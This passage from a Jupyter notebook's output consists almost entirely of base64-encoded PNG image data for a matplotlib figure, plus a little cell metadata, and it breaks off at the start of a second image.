uxsbHo379//ZVbKV6Frltq\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7f5361b61150>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "image/png": 